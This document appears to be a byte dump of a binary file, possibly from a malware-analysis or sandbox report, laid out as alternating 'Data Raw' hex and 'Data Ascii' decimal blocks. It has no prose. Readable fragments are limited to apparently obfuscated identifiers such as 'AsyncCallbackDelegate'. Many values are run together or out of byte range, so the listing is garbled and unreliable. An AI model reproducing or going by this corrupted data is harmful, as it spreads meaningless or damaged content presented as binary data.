3134 34 20 35 37 20 31 32 30 20 31 39 30 20 37 33 20 33 38 20 32 33 38 20

Data Ascii: 37 105 154 18 110 78 227 205 243 75 131 130 120 254 137 93 183 19 130 37 176 207 179 174 104 135 196 99
128 246 224 225 124 57 45 13 226 166 63 93 242 1 185 245 73 1159 13 41 73 60 215 250 235 150 19 191 168 232 130 1
0103 52 85 144 57 120 190 73 38 238

Data Raw: 35 20 32 32 39 20 38 20 39 32 20 35 36 20 35 37 20 31 34 38 20 31 36 39 20 32 31 34 20 31 33 39 20 36 20
32 343220 34 31 20 36 32 20 32 31 35 20 38 32 20 34 39 20 32 31 30 20 38 37 20 37 38 20 31 31 36 20 32 31 30 20 31
30 39 20 31 34 30 20 35 31 20 32 31 37 20 31 35 39 20 31 36 30 20 31 32 36 20 31 34 35 20 32 31 38 20 32 35 33 20 31
30 39 20 32 31 33 20 34 36 20 32 31 38 20 32 31 38 20 35 30 20 38 32 20 34 31 20 32 31 39 20 34 37 20 31 30 38 20 36
30 20 35 32 20 31 33 31 20 35 35 20 32 34 30 20 31 35 36 20 31 36 30 20 32 32 36 20 32 32 20 31 35 39 20 31 33 20 32
20 32 33 31 20 39 33 20 37 36 20 31 32 33 20 32 30 37 20 38 37 20 31 33 38 20 31 30 33 20 31 32 31 20 31 36 34 20 31
302031 31302031323120313735203138372031373220323139

Data Ascii: 5 229 8 92 56 57 148 169 214 139 6 242 41 62 215 82 49 210 87 78 116 210 109 140 51 217 159 160 126 145
218 253 109 213 46 218 218 50 82 41 219 47 108 60 52 131 55 240 156 160 226 22 159 13 2 231 93 76 123 207 87 138 1
03121 164 10 110 121 175 187 172 219

Data Raw: 36 20 32 34 31 20 38 36 20 31 32 32 20 31 37 32 20 33 33 20 31 35 36 20 32 33 33 20 37 31 20 31 32 34 20
39 36 20 31 32 39 20 33 30 20 36 38 20 31 39 39 20 38 37 20 32 36 20 31 36 35 20 31 36 36 20 34 32 20 32 31 31 20 32
3038 20 32 33 20 31 35 37 20 31 31 35 20 31 36 20 31 39 38 20 32 34 37 20 31 31 37 20 32 34 34 20 31 30 35 20 31 36
39 20 34 31 20 39 30 20 31 34 31 20 31 32 39 20 32 30 32 20 32 31 37 20 39 20 31 37 38 20 32 31 32 20 31 38 33 20 31
37 36 20 31 30 32 20 31 32 36 20 31 36 37 20 32 33 31 20 31 30 20 31 38 36 20 31 36 38 20 31 31 37 20 31 32 36 20 31
333020 31 34 33 20 32 31 30 20 31 39 33 20 31 31 34 20 39 36 20 32 36 20 31 34 38 20 39 39 20 31 30 38 20 31 31 34
2032 32 31 20 36 3220 32 33 20 31 33 34 20 31 30 30 20 32 32 31 20 31 38

Data Ascii: 6 241 86 122 172 33 156 233 71 124 96 129 30 68 199 87 26 165 166 42 211 208 23 157 115 16 198 247 117
244 105 169 41 90 141 129 202 217 9178 212 183 176 102 126 167 231 10 186 168 117 126 130 143 210 193 114 96 26
148 99 108 114 221 62 23 134 100 221 18

Data Raw: 20 32 32 20 32 34 32 20 31 39 31 20 31 39 30 20 32 31 32 20 32 34 33 20 38 39 20 37 31 20 32 35 30 20 32
20 31 36 30 20 32 33 32 20 32 30 32 20 38 39 20 31 37 30 20 31 37 38 20 38 39 20 32 35 20 34 35 20 32 34 38 20 36 30
20 36 34 20 31 36 31 20 36 37 20 32 33 31 20 31 37 32 20 31 35 20 38 32 20 31 38 31 20 31 30 37 20 36 39 20 32 39 20
31 38 34 20 31 36 38 20 32 30 31 20 39 32 20 35 34 20 31 36 20 32 30 37 20 31 33 36 20 31 35 35 20 32 38 20 37 33 20
32313920 313033203137 352031303520 31 33 34 20 31 33 39 20 34 36 20 32 33 34 20 31 33 36 20 39 33 20 31
32 34 20 32 34 35 20 32 20 33 36 20 32 30 39 20 37 20 31 30 32 20 31 32 33 20 32 30 32 20 31 38 33 20 32 32 37 20 32
31 30 20 37 30 20 32 34 38 20 36 39 20 39 39 20 31 30 31 20 32 35 31 20 32

Data Ascii: 22 242 191 190 212 243 89 71 250 2 160 232 202 89 170 178 89 25 45 248 60 64 161 67 231 172 15 82 181
107 69 29 184 168 201 92 54 16 207 136 155 28 73 219 103 175 105 134 139 46 234 136 93 124 245 2 36 209 7 102 123
202 183 227 210 70 248 69 99 101 251 2

Data Raw: 39 37 20 32 32 32 20 33 38 20 31 35 30 20 32 34 35 20 31 39 37 20 34 33 20 31 38 30 20 32 34 35 20 38 39
20 32 33 36 20 39 34 20 33 33 20 32 34 38 20 32 34 36 20 32 35 20 32 30 39 20 32 31 39 20 31 31 34 20 39 33 20 35 31
2039 31 20 31 35 36 20 35 36 20 31 39 35 20 32 31 35 20 30 20 38 31 20 36 32 20 32 33 38 20 31 32 33 20 31 36 34 20
32 32 39 20 35 36 20 31 38 33 20 36 33 20 32 32 34 20 31 37 20 38 35 20 31 35 33 20 31 35 34 20 35 35 20 39 35 20 36
33 20 34 35 20 32 38 20 34 30 20 32 34 34 20 34 32 20 35 38 20 31 38 36 20 31 30 20 38 20 32 35 35 20 31 35 39 20 36
3120 31 38 37 20 35 33 20 31 33 30 20 39 37 20 32 34 37 20 33 20 32 33 36 20 32 30 31 20 31 36 36 20 31 36 34 20 32
353520 31 30 33 20 31 31 31 20 31 34 20 39 20 39 35 20 31 32 37 20 31 20

Data Ascii: 97 222 38 150 245 197 43 180 245 89 236 94 33 248 246 25 209 219 114 93 51 91 156 56 195 215 0 81 62
238 123 164 229 56 183 63 224 17 85 153 154 55 95 63 45 28 40 244 42 58 186 10 8 255 159 61 187 53 130 97 247 3 236
201 166 164 255103 111 14995127 1
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Data Raw: 34 39 20 31 34 34 20 31 36 36 20 32 32 30 20 32 37 20 31 36 33 20 36 31 20 31 30 34 20 31 36 37 20 31 34
312031323220 3130203137 3420 34 3520 31 34 37 20 32 30 35 20 31 33 38 20 34 20 31 36 20 32 34 30 20 31 32
3320 32 34 38 20 38 36 20 36 33 20 33 35 20 38 31 20 31 32 33 20 31 37 32 20 33 38 20 31 37 39 20 32 31 30 20 31 37
2039 312032 33 38 20 32 30 34 20 31 38 35 20 32 34 39 20 32 30 30 20 31 39 33 20 38 32 20 38 32 20 36 38 20 39 39
2031 333820323233203232312031343320313538203139372031 3139 2039 3820 3333203234 3620
313134 20302034 352031303020 34 302032313020 333820 3133322039 322036 3120313531203137
342031 35203134352032203130352031383820313138203138

Data Ascii: 49 144 166 220 27 163 61 104 167 141 122 10 174 45 147 205 138 4 16 240 123 248 86 63 3581 123 172 38
179210 17 91 238 204 185 249 200 193 82 82 68 99 138 223 221 143 158 197 119 98 33 246 114 0 45 100 40 210 38 132
92 61151174 151452105 188 118 18

Data Raw: 34 39 20 39 32 20 38 33 20 31 33 34 20 31 32 20 32 31 38 20 32 31 37 20 32 34 37 20 37 30 20 33 30 20 31
37 3820 38 35 20 36 31 20 32 30 35 20 32 31 39 20 33 33 20 31 30 35 20 31 34 30 20 32 32 31 20 31 36 20 31 38 38 20
3234 32 20 31 37 30 20 34 20 33 39 20 32 32 37 20 32 30 38 20 32 31 33 20 31 35 38 20 38 35 20 31 31 36 20 32 33 33
2032 3230203534 20313839 203131312035 322033 312032323020 32 3033203134382033372023138
332032 343420313131203139382035352039 3020 32303520313037203339203230322031373020
36 36 20 32 31 3520 31 32 38 20 31 31 36 20 33 37 20 35 30 20 32 34 37 20 31 33 30 20 31 33 33 20 31 34 3220 32 35
32203637 203131312037392031323720313037203230352031

Data Ascii: 49 92 83 134 12 218 217 247 70 30 178 85 61 205 219 33 105 140 221 16 188 242 170 4 39 227 208 213 158
85 116 233 220 54 189 111 52 31 220 203 148 37 183 244 111 198 55 90 205 107 39 202 170 66 215 128 116 37 50 247
130 133 142 252 67 111 79 127 107 205 1

Data Raw: 31 20 30 20 31 31 33 20 31 20 30 20 30 20 35 20 30 20 30 20 31 37 20 31 34 30 20 34 35 20 30 20 30 20 31
203020 30 20 30 20 31 31 34 20 30 20 31 38 30 20 33 20 31 31 32 20 34 30 20 32 31 20 30 20 30 20 31 30 20 34 30 20
3138 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 31 20 30 20 32 35 34 20 31 33 20 31 20 30 20 32 35 34 20 32 32 20
35312030203020 3120 313131203139 2030203020 313020 34 302032 3220 3020 3020 313020323534
2031 34 20 30 20 30 20 34 33 20 36 20 32 35 34 20 32 32 20 37 31 20 30 20 30 20 31 20 32 35 34 20 31 32 20 30 20 30
2034 30203233203020302031302033382031313420313320313831203320313132203235342031
3220 30 20 30 20 34 30 20 34 34 20 30 20 30 20 31 30 20 34 30 20 32 20 30

Data Ascii: 1011310050017140450010001140180311240210010401800 10254 14102541310 254
2251001111190010402200102541400436254227100125412004023001038 114131813112 254
1200404400104020

Data Raw: 34 20 31 32 20 39 20 30 20 31 31 31 20 36 38 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 31 30 20 30 20
33 3220 34 20 30 20 30 20 30 20 32 35 34 20 31 34 20 32 20 30 20 32 35 34 20 31 32 20 31 30 20 30 20 31 31 34 20 33
3420 31 20 34 20 31 31 32 20 31 31 31 20 37 34 20 30 20 30 20 31 30 20 31 31 31 20 31 39 20 30 20 30 20 31 30 20 31
31342034342031203420313132203131312034 312030203020 3130203537 20 33 34 20 30 20 30 20 30
20323534 2031322031302030203131342033342031203420313132203131312037 342030203020
313020313131203139203020302031302031313420353820312034203131322031313120343120
3020 30 20 31 30 20 35 36 20 35 20 30 20 30 20 30 20 33 32 20 30 20 30 20

Data Ascii: 41290111 6800102541410032400025414202541210011434141121117400101111900
10114441411211141001057340002541210011434141121117400101111900101145814112 111
4100105650003200

Data Raw: 33 20 30 20 30 20 30 20 32 35 34 20 31 34 20 33 20 30 20 34 30 20 33 35 20 30 20 30 20 36 20 34 30 20 35

332030 20 30 20 31 30 20 33 32 20 30 20 30 20 30 20 30 20 32 35 34 20 31 20 32 35 34 20 31 34 20 35 20 30 20 33 32
20 34 20 30 20 30 20 30 20 32 35 34 20 31 34 20 33 20 30 20 32 35 34 20 31 32 20 35 20 30 20 32 35 34 20 31 34 20 37
20 30 20 32 35 34 20 31 32 20 37 20 30 20 35 37 20 32 34 20 30 20 30 20 30 20 33 32 20 35 20 30 20 30 20 30 20 32 35
34 20 31 34 20 33 20 30 20 33 32 20 30 20 30 20 30 20 30 20 32 35 34 20 31 34 20 36 20 30 20 30 20 35 36 20 31 34 33
20 31 20 30 20 30 20 30 20 33 32 20 37 20 30 20 30 20 30 20 32 35 34 20 31 34 20 33 20 30 20 31 31 35 20 31 30 37 20
30 20 30 20 31 30 20 32 35 34 20 31 34 20 38 20 30 20 33 32 20 38 20 30 20

Data Ascii: 300025414304035006405300103200002541254145032400025414302541250 254
1470254127057240003250002541430320000254146005614310003270002541430115107
001025414803280

Data Raw: 32 20 34 30 20 30 20 30 20 30 20 33 32 20 32 20 30 20 30 20 30 20 31 31 31 20 31 38 35 20 30 20 30 20 31
302031 31 31 20 31 38 35 20 30 20 30 20 31 30 20 33 32 20 33 20 30 20 30 20 30 20 33 32 20 34 31 20 30 20 30 20 30
20 34 32 20 33 32 20 34 20 30 20 30 20 30 20 33 32 20 30 20 30 20 30 20 30 20 33 32 20 35 20 30 20 30 20 30 20 33 32
20 31 20 30 20 30 20 30 20 33 32 20 34 30 20 30 20 30 20 30 20 33 32 20 32 20 30 20 30 20 30 20 31 31 31 20 31 38 36
20 30 20 30 20 31 30 20 31 31 31 20 31 38 36 20 30 20 30 20 31 30 20 33 32 20 33 20 30 20 30 20 30 20 33 32 20 34 31
20 30 20 30 20 30 20 34 32 20 33 32 20 34 20 30 20 30 20 30 20 33 32 20 34 30 20 30 20 30 20 30 20 34 30 20 31 38 37
20 30 20 30 20 31 30 20 34 30 20 31 38 37 20 30 20 30 20 31 30 20 34 30 20

Data Ascii: 24000032200011118500101111850010323000324100042324000320000325000
3210003240000322000111186001011118600103230003241000423240003240000401870
01040187 001040

Data Raw: 20 30 20 30 20 30 20 33 31 20 34 39 20 31 35 37 20 33 37 20 33 32 20 31 20 30 20 30 20 30 20 33 31 20 35
37 2031 35 37 20 33 37 20 32 33 20 33 31 20 31 31 31 20 31 35 37 20 33 37 20 33 32 20 30 20 30 20 30 20 30 20 33 31
20 35 36 20 31 35 37 20 33 37 20 33 32 20 30 20 30 20 30 20 30 20 33 31 20 31 30 32 20 31 35 37 20 33 37 20 33 32 20
30 20 30 20 30 20 30 20 33 31 20 35 30 20 31 35 37 20 33 37 20 32 32 20 33 31 20 38 37 20 31 35 37 20 31 31 35 20 32
30 34 20 30 20 30 20 31 30 20 34 32 20 30 20 30 20 31 39 20 34 38 20 34 20 30 20 32 30 34 20 30 20 30 20 30 20 33 20
30 20 30 20 31 37 20 32 38 20 31 34 31 20 39 37 20 30 20 30 20 31 20 33 37 20 33 32 20 35 20 30 20 30 20 30 20 33 31
20 31 30 31 20 31 35 37 20 33 37 20 33 32 20 35 20 30 20 30 20 30 20 33 31

Data Ascii: 000314915737321000315715737233111115737320000315615737320000311021573
73200003150 157 37223187157 1152040010420019484020400030017281419700137325000
311011573732500031

Data Raw: 31 31 37 20 32 20 38 36 20 31 32 38 20 31 36 32 20 31 36 39 20 31 31 37 20 32 20 38 36 20 31 32 38 20 32
333320 31 32 34 20 31 31 37 20 32 20 38 36 20 31 32 38 20 32 20 31 31 34 20 31 31 37 20 32 20 38 36 20 31 32 38 20
323037 20 31 33 38 20 31 31 37 20 32 20 38 36 20 31 32 38 20 33 33 20 33 36 20 31 31 37 20 32 20 38 36 20 31 32 38
2033332037 3520 31 31 37 20 32 20 38 36 20 31 32 38 20 33 37 20 31 34 31 20 31 31 37 20 32 20 38 36 20 31 32 38
20 34 34 20 34 38 20 31 31 37 20 32 20 38 36 20 31 32 38 20 32 36 20 32 38 20 31 31 37 20 32 20 38 36 20 31 32 38 20
313039 20 31 34 30 20 31 31 37 20 32 20 38 36 20 31 32 38 20 35 34 20 31 36 31 20 31 31 37 20 32 20 38 36 20 31 32
38 20 32 32 38 20 31 34 39 20 31 31 37 20 32 20 38 36 20 31 32 38 20 31 38

Data Ascii: 117 2 86 128 162 169 117 2 86 128 233 124 117 286 128 2 114 117 2 86 128 207 138 117 2 86 128 33 36 117
2861283375117 286128 37 141 117 2 86 128 44 48 117 2 86 128 26 28 117 2 86 128 109 140 117 2 86 128 54 161
117 2 86 128 228 149 117 2 86 128 18
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Data Raw: 20 32 20 34 35 20 30 20 36 38 20 31 38 38 20 33 20 30 20 30 20 30 20 31 37 20 32 34 20 31 37 38 20 31 38
20 31 20 30 20 34 35 20 30 20 34 30 20 38 30 20 33 20 30 20 30 20 30 20 31 37 20 32 34 20 31 37 38 20 31 38 20 31 20
30 20 34 35 20 30 20 30 20 30 20 30 20 30 20 33 20 30 20 36 20 32 34 20 31 37 32 20 31 38 20 32 34 37 20 38 20 34 35
20 30 20 30 20 30 20 30 20 30 20 33 20 30 20 37 30 20 33 20 32 33 37 20 35 20 32 35 33 20 38 20 34 37 20 30 20 30 20
3020 30 20 30 20 33 20 30 20 37 30 20 33 20 32 32 37 20 35 20 36 20 39 20 35 30 20 30 20 30 20 30 20 30 20 30 20 33
203020 37 30 20 33 20 32 34 32 20 35 20 31 32 20 39 20 35 31 20 30 20 30 20 30 20 30 20 30 20 33 20 30 20 36 20 32
3420 31 37 32 20 31 38 20 32 34 37 20 38 20 35 32 20 30 20 30 20 30 20 30

Data Ascii: 24506818830001724178181045040803000172417818104500000306 2417218 247
8450000030703237525384700000307032275695000000307032425129510000030624
17218 2478520000

Data Raw: 30 20 31 39 32 20 38 20 32 32 31 20 31 31 20 38 20 30 20 31 39 36 20 38 20 32 32 36 20 31 31 20 38 20 30
20 3230 30 20 38 20 32 33 31 20 31 31 20 38 20 30 20 32 30 34 20 38 20 32 33 36 20 31 31 20 38 20 30 20 32 30 38 20
3820 32 34 31 20 31 31 20 38 20 30 20 32 31 32 20 38 20 32 34 36 20 31 31 20 38 20 30 20 32 31 36 20 38 20 32 35 31
2031 312038 20 30 20 32 32 30 20 38 20 30 20 31 32 20 38 20 30 20 32 32 34 20 38 20 35 20 31 32 20 38 20 30 20 32
323820382031 3020 31 3220 38 20 30 20 32 33 32 20 38 20 31 35 20 31 32 20 38 20 30 20 32 33 36 20 38 20 32 30
2031 3220 38 20 30 20 32 34 30 20 38 20 32 35 20 31 32 20 38 20 30 20 32 34 34 20 38 20 33 30 20 31 32 20 38 20 30
20 32 34 38 20 38 20 33 35 20 31 32 20 38 20 30 20 32 35 32 20 38 20 34 30

Data Ascii: 0192 8 221 11 8 0196 8 226 11 8 0 200 8 231 11 8 0 204 8 236 11 8 0 208 8 241 11 8 0 212 8 246 11 8 0 216
825111802208012802248512802288101280232815128023682012802408251280244830128
0248 8351280252840

Data Raw: 36 20 31 30 34 20 30 20 39 35 20 39 35 20 39 35 20 36 38 20 39 37 20 37 31 20 3537 20 31 31 31 20 35 37
203730 20 35 31 20 31 30 31 20 39 37 20 35 33 20 35 34 20 31 31 34 20 35 31 20 31 30 36 20 30 20 38 39 20 31 30 30
20 35 32 20 35 36 20 35 33 20 35 32 20 35 33 20 31 30 31 20 38 39 20 35 30 20 31 30 32 20 35 36 20 35 32 20 36 39 20
31 30 36 20 30 20 39 35 20 39 35 20 39 35 20 37 30 20 39 37 20 35 31 20 35 31 20 35 35 20 36 35 20 35 37 20 39 37 20
3534 20 36 36 20 34 39 20 35 37 20 37 36 20 36 36 20 31 30 37 20 30 20 36 35 20 31 31 3520 31 32 31 20 31 31 30 20
393920 36 37 20 39 37 20 31 30 38 20 31 30 38 20 39 38 20 39 37 20 39 39 20 31 30 37 20 30 20 36 38 20 31 30 31 20
313038 203130312031 3033203937 203131362031 3031203637

Data Ascii: 6 104 0 95 95 95 68 97 71 57 111 57 70 51 101 97 53 54 114 51 106 0 89 100 52 56 53 52 53 101 89 50 102
56 52 69 106 0 95 95 95 70 97 51 51 55 65 57 97 54 66 49 57 76 66 107 0 65 115 121 110 99 67 97 108 108 98 97 99 107
068 101 108 101 103 97 116 101 67

Data Raw: 32 33 31 20 31 32 38 20 31 36 33 20 32 33 31 20 31 32 38 20 31 39 31 20 32 33 31 20 31 32 38 20 31 37 38
203233 312031323820 313331203233 312031323820 313238203233 312031323920 313330203020
3232 38 20 31 33 32 20 31 34 30 20 32 32 38 20 31 33 32 20 31 39 30 20 32 32 38 20 31 33 33 20 31 33 37 20 32 32 38
203133322031 3436203232382031333320313330203232382031333220313538203232382023133
322031393120323238203133322031383920323238203133332031323920323238203133322031
34302032 3238203133322031343720323238203133322031343720323238203133322031343920
323238 203133322031 36 352032 323820313333 203133302030

Data Ascii: 231 128 163 231 128 191 231 128 178 231 128 131 231 128 128 231 129 130 0 228 132 140 228 132 190 228
133 137 228 132 146 228 133 130 228 132 158 228 132 191 228 132 189 228 133 129 228 132 140 228 132 147 228 132
147 228 132 149 228 132 165 228 133 130 0

Data Raw: 38 20 31 36 36 20 31 33 37 20 30 20 32 33 39 20 31 37 36 20 31 35 36 20 32 33 39 20 31 37 36 20 31 35 35
203233 39 20 31 37 36 20 31 35 32 20 32 33 39 20 31 37 36 20 31 36 37 20 32 33 39 20 31 37 36 20 31 36 36 20 32 33
3920 31 37 37 20 31 33 37 20 32 33 39 20 31 37 36 20 31 35 31 20 32 33 39 20 31 37 36 20 31 38 34 20 32 33 39 20 31
37 36 20 31 34 39 20 32 33 39 20 31 37 37 20 31 33 34 20 32 33 39 20 31 37 37 20 31 34 30 20 32 33 39 20 31 37 37 20
31 353320 32 33 39 20 31 37 36 20 31 34 38 20 32 33 39 20 31 37 36 20 31 35 34 20 32 33 39 20 31 37 37 20 31 33 37
20 30 20 32 33 32 20 31 37 38 20 31 38 38 20 32 33 32 20 31 37 38 20 31 33 32 20 32 33 32 20 31 37 38 20 31 33 34 20
323332203137 38203138332032333220313738203133322032

Data Ascii: 8 166 137 0 239 176 156 239 176 155 239 176 152 239 176 167 239 176 166 239 177 137 239 176 151 239
176 184 239 176 149 239 177 134 239 177 140 239 177 153 239 176 148 239 176 154 239 177 137 0 232 178 188 232
178 132 232 178 134 232 178 183 232 178 132 2

Data Raw: 31 36 37 20 32 33 30 20 31 34 34 20 31 38 34 20 32 33 30 20 31 34 34 20 31 34 33 20 32 33 30 20 31 34 34
203139 31 20 32 33 30 20 31 34 35 20 31 33 38 20 32 33 30 20 31 34 34 20 31 38 37 20 32 33 30 20 31 34 34 20 31 38
37 20 32 33 30 20 31 34 35 20 31 33 38 20 32 33 30 20 31 34 34 20 31 33 39 20 30 20 32 33 38 20 31 34 36 20 31 38 35
20 32 33 38 20 31 34 36 20 31 34 34 20 32 33 38 20 31 34 36 20 31 34 35 20 32 33 38 20 31 34 36 20 31 39 30 20 32 33
38 20 31 34 36 20 31 35 38 20 32 33 38 20 31 34 36 20 31 39 30 20 32 33 38 20 31 34 36 20 31 38 38 20 32 33 38 20 31
34 36 20 31 38 37 20 32 33 38 20 31 34 36 20 31 38 39 20 32 33 38 20 31 34 36 20 31 38 37 20 32 33 38 20 31 34 36 20
3134 3220 32 33 38 20 31 34 36 20 31 34 35 20 32 33 38 20 31 34 36 20 31

Data Ascii: 167 230 144 184 230 144 143 230 144 191 230 145 138 230 144 187 230 144 187 230 145 138 230 144 139 0
238 146 185 238 146 144 238 146 145 238 146 190 238 146 158 238 146 190 238 146 188 238 146 187 238 146 189 238
146 187 238 146 142 238 146 145 238 146 1

Data Raw: 33 20 32 33 38 20 31 33 38 20 31 34 37 20 32 33 38 20 31 33 38 20 31 34 38 20 32 33 38 20 31 33 37 20 31
36 37 20 32 33 38 20 31 33 38 20 31 35 33 20 32 33 38 20 31 33 37 20 31 35 38 20 32 33 38 20 31 33 37 20 31 36 36 20
32 3338 20 31 33 37 20 31 37 35 20 32 33 38 20 31 33 38 20 31 34 37 20 32 33 38 20 31 33 37 20 31 36 35 20 32 33 38
203133382031 34 34 20 32 33 38 20 31 33 38 20 31 34 33 20 32 33 38 20 31 33 38 20 31 34 35 20 32 33 38 20 31 33
38 20 31 34 35 20 30 20 32 33 39 20 31 34 35 20 31 35 36 20 32 33 39 20 31 34 36 20 31 35 33 20 32 33 39 20 31 34 35
20 31 35 37 20 32 33 39 20 31 34 35 20 31 35 34 20 32 33 39 20 31 34 36 20 31 35 33 20 32 33 39 20 31 34 36 20 31 35
37 20 32 33 39 20 31 34 36 20 31 34 34 20 32 33 39 20 31 34 35 20 31 36 30

Data Ascii: 3 238 138 147 238 138 148 238 137 167 238 138 153 238 137 158 238 137 166 238 137 175 238 138 147 238
137 165 238 138 144 238 138 143 238 138 145 238 138 145 0 239 145 156 239 146 153 239 145 157 239 145 154 239
146 153 239 146 157 239 146 144 239 145 160

Data Raw: 32 32 35 20 31 36 32 20 31 33 30 20 32 32 35 20 31 36 32 20 31 33 30 20 32 32 35 20 31 36 32 20 31 33 30
20 32 32 35 20 31 36 32 20 31 33 35 20 32 32 35 20 31 36 32 20 31 33 34 20 32 32 35 20 31 36 32 20 31 34 39 20 32 32
3520 31 36 3220 31 33 31 20 32 32 35 20 31 36 32 20 31 32 39 20 32 32 35 20 31 36 32 20 31 36 30 20 32 32 35 20 31
36 32 20 31 33 30 20 32 32 35 20 31 36 32 20 31 32 39 20 32 32 35 20 31 36 32 20 31 36 38 20 32 32 35 20 31 36 32 20
31353220 3020 32 33 32 20 31 36 32 20 31 35 30 20 32 33 32 20 31 36 33 20 31 33 31 20 32 33 32 20 31 36 32 20 31
36 31 20 32 33 32 20 31 36 32 20 31 36 32 20 32 33 32 20 31 36 32 20 31 34 35 20 32 33 32 20 31 36 32 20 31 34 35 20
32333220 313633203134 37 20 32 33 32 20 31 36 32 20 31 35 31 20 32

Data Ascii: 225 162 130 225 162 130 225 162 130 225 162 135 225 162 134 225 162 149 225 162 131 225 162 129 225
162 160 225 162 130 225 162 129 225 162 168 225 162 152 0 232 162 150 232 163 131 232 162 161 232 162 162 232
162 145 232 162 145 232 163 147 232 162 151 2
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Data Raw: 31 38 37 20 31 32 38 20 32 32 39 20 31 38 37 20 31 34 35 20 32 32 39 20 31 38 36 20 31 35 39 20 30 20 32
323820 31 38 38 20 31 36 32 20 32 32 38 20 31 38 39 20 31 34 38 20 32 32 38 20 31 38 38 20 31 36 34 20 32 32 38 20
31 38 38 20 31 35 39 20 32 32 38 20 31 38 39 20 31 34 33 20 32 32 38 20 31 38 38 20 31 36 37 20 32 32 38 20 31 38 39
20 31 36 3820 32 32 38 20 31 38 38 20 31 36 36 20 32 32 38 20 31 38 38 20 31 36 33 20 32 32 38 20 31 38 39 20 31 33
35203232 382031383920 313635203232 382031383820 31 383920323238 20313838203136312032
323820 313838203136 302032323820313838203135392030203232302031353820323230203135
32203232312031333920323230203137322032323020313534

Data Ascii: 187 128 229 187 145 229 186 159 0 228 188 162 228 189 148 228 188 164 228 188 159 228 189 143 228 188
167 228 189 168 228 188 166 228 188 163 228 189 135 228 189 165 228 188 189 228 188 161 228 188 160 228 188 159
0220 158 220 152 221 139 220 172 220 154

Data Raw: 36 20 31 38 30 20 32 33 32 20 31 35 36 20 31 33 36 20 32 33 32 20 31 35 36 20 31 33 35 20 32 33 32 20 31
353720 31 33 34 20 32 33 32 20 31 35 36 20 31 33 32 20 32 33 32 20 31 35 35 20 31 39 31 20 32 33 32 20 31 35 36 20
313239 20 32 33 32 20 31 35 36 20 31 33 30 20 32 33 32 20 31 35 36 20 31 34 36 20 32 33 32 20 31 35 36 20 31 33 34
203233 322031353620 3138312032333220 31353620 313831203233 3220 31 3536 20 31 36 36 20 30 20
3233 382031353620 31383920 323338203135 362031 333820323338 2031353620 313635203233 38
2031 3536203136 37 20 32 33 38 20 31 35 3520 31 38 37 20 32 33 38 20 31 35 35 20 31 38 3520 32 33 38 20 31 35
36 20 31 34 33 20 32 33 38 20 31 35 36 20 31 36 34 20 32 33 38 20 31 35 35

Data Ascii: 6 180 232 156 136 232 156 135 232 157 134 232 156 132 232 155 191 232 156 129 232 156 130 232 156 146
232 156 134 232 156 181 232 156 181 232 156 166 0 238 156 189 238 156 138 238 156 165 238 156 167 238 155 187
238 155 185 238 156 143 238 156 164 238 155

Data Raw: 32 20 32 32 34 20 31 39 30 20 31 38 30 20 32 32 34 20 31 39 30 20 31 37 34 20 30 20 32 33 30 20 31 39 30
203138 39 20 32 33 30 20 31 39 31 20 31 37 33 20 32 33 31 20 31 32 38 20 31 32 39 20 32 33 30 20 31 39 30 20 31 39
312032 333020 3139 31 2031 3333203233 3020 31 39 31 20 31 38 35 20 32 33 30 20 31 39 31 20 31 37 38 20 32
33302031393020 3139 312032333020 3139 31203137 382032333020 313931203134 352032333020
313931203133322032333020313931203136342032333020313931203133322032333020313930
2031 39312032333020313931203137342030203231392031383920323230203133322032323020
3136 37 20 32 31 39 20 31 38 39 20 32 32 30 20 31 33 33 20 32 32 30 20 31

Data Ascii: 2 224 190 180 224 190 174 0 230 190 189 230 191 173 231 128 129 230 190 191 230 191 133 230 191 185
230 191 178 230 190 191 230 191 178 230 191 145 230 191 132 230 191 164 230 191 132 230 190 191 230 191 174 0
219 189 220 132 220 167 219 189 220 133 220 1

Data Raw: 32 33 34 20 31 39 30 20 31 35 39 20 32 33 34 20 31 38 39 20 31 37 32 20 32 33 34 20 31 39 30 20 31 38 30
20323334 20 31 39 30 20 31 33 31 20 32 33 34 20 31 38 39 20 31 37 35 20 32 33 34 20 31 38 39 20 31 37 31 20 32 33
3420 31 38 39 20 31 37 38 20 32 33 34 20 31 38 39 20 31 37 39 20 32 33 34 20 31 38 39 20 31 37 31 20 32 33 34 20 31
3839203137 382032333420 313930203134 3420323334 2031383920 31383020 3020 323236203139
31203137 3620323237 203132382031363620323236203139312031383220323237203132382031
35312032 3237203132382031333620323236203139312031383120323237203132382031363420
323237 203132382031 323820323236 203139 31 203137382032

Data Ascii: 234 190 159 234 189 172 234 190 180 234 190 131 234 189 175 234 189 171 234 189 178 234 189 179 234
189 171 234 189 178 234 190 144 234 189 180 0 226 191 176 227 128 166 226 191 182 227 128 151 227 128 136 226
191 181 227 128 164 227 128 128 226 191 178 2

Data Raw: 36 20 31 35 33 20 31 33 39 20 32 33 36 20 31 35 33 20 31 34 33 20 32 33 36 20 31 35 33 20 31 36 37 20 32
333620 31 35 33 20 31 38 37 20 32 33 36 20 31 35 33 20 31 34 36 20 32 33 36 20 31 35 34 20 31 34 37 20 32 33 36 20
313533 2031 38 37 20 32 33 36 20 31 35 33 20 31 34 32 20 32 33 36 20 31 35 33 20 31 39 31 20 32 33 36 20 31 35 34
20 31 33 37 20 32 33 36 20 31 35 34 20 31 32 38 20 32 33 36 20 31 35 33 20 31 38 38 20 30 20 32 33 34 20 31 35 39 20
31 353920 32 33 34 20 31 35 39 20 31 38 34 20 32 33 34 20 31 35 39 20 31 35 36 20 32 33 34 20 31 35 39 20 31 36 30
20 32 33 34 20 31 36 30 20 31 35 35 20 32 33 34 20 31 35 39 20 31 35 35 20 32 33 34 20 31 3539 20 31 3533 20 32 33
34 20 31 36 30 20 31 35 31 20 32 33 34 20 31 35 39 20 31 35 33 20 32 33 34

Data Ascii: 6 153 139 236 153 143 236 153 167 236 153 187 236 153 146 236 154 147 236 153 187 236 153 142 236 153
191 236 154 137 236 154 128 236 153 188 0 234 159 159 234 159 184 234 159 156 234 159 160 234 160 155 234 159
155 234 159 153 234 160 151 234 159 153 234

Data Raw: 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
